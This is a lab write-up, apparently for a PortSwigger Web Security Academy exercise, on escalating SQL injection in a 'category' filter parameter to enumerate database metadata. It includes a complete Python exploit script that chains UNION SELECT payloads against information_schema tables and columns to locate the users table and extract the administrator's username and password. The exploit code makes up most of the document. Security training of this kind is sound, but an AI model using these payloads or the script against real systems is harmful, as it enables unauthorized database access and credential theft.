SQLi Lab 5
SQL injection for metadata enumeration and admin credential extraction
SQL Injection Attack — Listing Database Contents on Non-Oracle Databases#
In this lab, I explored how SQL injection (SQLi) vulnerabilities can be escalated beyond authentication bypass to full database enumeration. The lab targeted a non-Oracle database (like MySQL or Microsoft SQL Server), using metadata tables such as information_schema.tables
and information_schema.columns
.
By chaining multiple UNION SELECT
injections, I was able to list all table names, extract sensitive column names like username
and password
, and ultimately retrieve administrator credentials. The exercise demonstrated how exposing metadata through SQLi can lead to complete account compromise — a common, yet severe, backend vulnerability.
How Exploit Works#
- The
category
parameter is vulnerable to SQL injection. - A
UNION SELECT
is used to list table names frominformation_schema.tables
. - Another injection pulls column names from
information_schema.columns
. - The script identifies the table that stores user credentials.
- A final injection dumps usernames and passwords.
- Admin credentials are extracted from the output.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmdExploit#
exploit.py
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def Get_User_Table(url):
uri = '/filter?category='
payload = '\' UNION+SELECT table_name, NULL FROM information_schema.tables--'
r = requests.get(url + uri + payload , verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
for th in soup.find_all('th'):
if th.text.startswith('users_'):
user_value = th.text
break
return user_value
def Get_columns(url, Table_Name):
uri = '/filter?category='
payload = f"'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='{Table_Name}'--"
r = requests.get(url + uri + payload , verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
for th in soup.find_all('th'):
if th.text.startswith('username_'):
user_value = th.text
break
for th in soup.find_all('th'):
if th.text.startswith('password_'):
password_value = th.text
break
return user_value, password_value
def Get_Administrator_Credentials(url, Get_User_Table, table_name):
user, pwd = Get_User_Table
payload = f"' UNION SELECT {user}, {pwd} FROM {table_name}--"
uri = '/filter?category='
r = requests.get(url + uri + payload , verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
# Find the row where <th> contains "administrator"
admin_row = soup.find('th', string='administrator')
if admin_row:
admin_username = admin_row.text.strip()
admin_password = admin_row.find_next_sibling('td').text.strip()
print("Username:", admin_username)
print("Password:", admin_password)
else:
print("Administrator entry not found.")
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Usage: %s <url>" %sys.argv[0])
print('[-] Example: %s www.example.com ' % sys.argv[0])
sys.exit(-1)
Get_Administrator_Credentials(url, Get_columns(url, Get_User_Table(url)), Get_User_Table(url))
python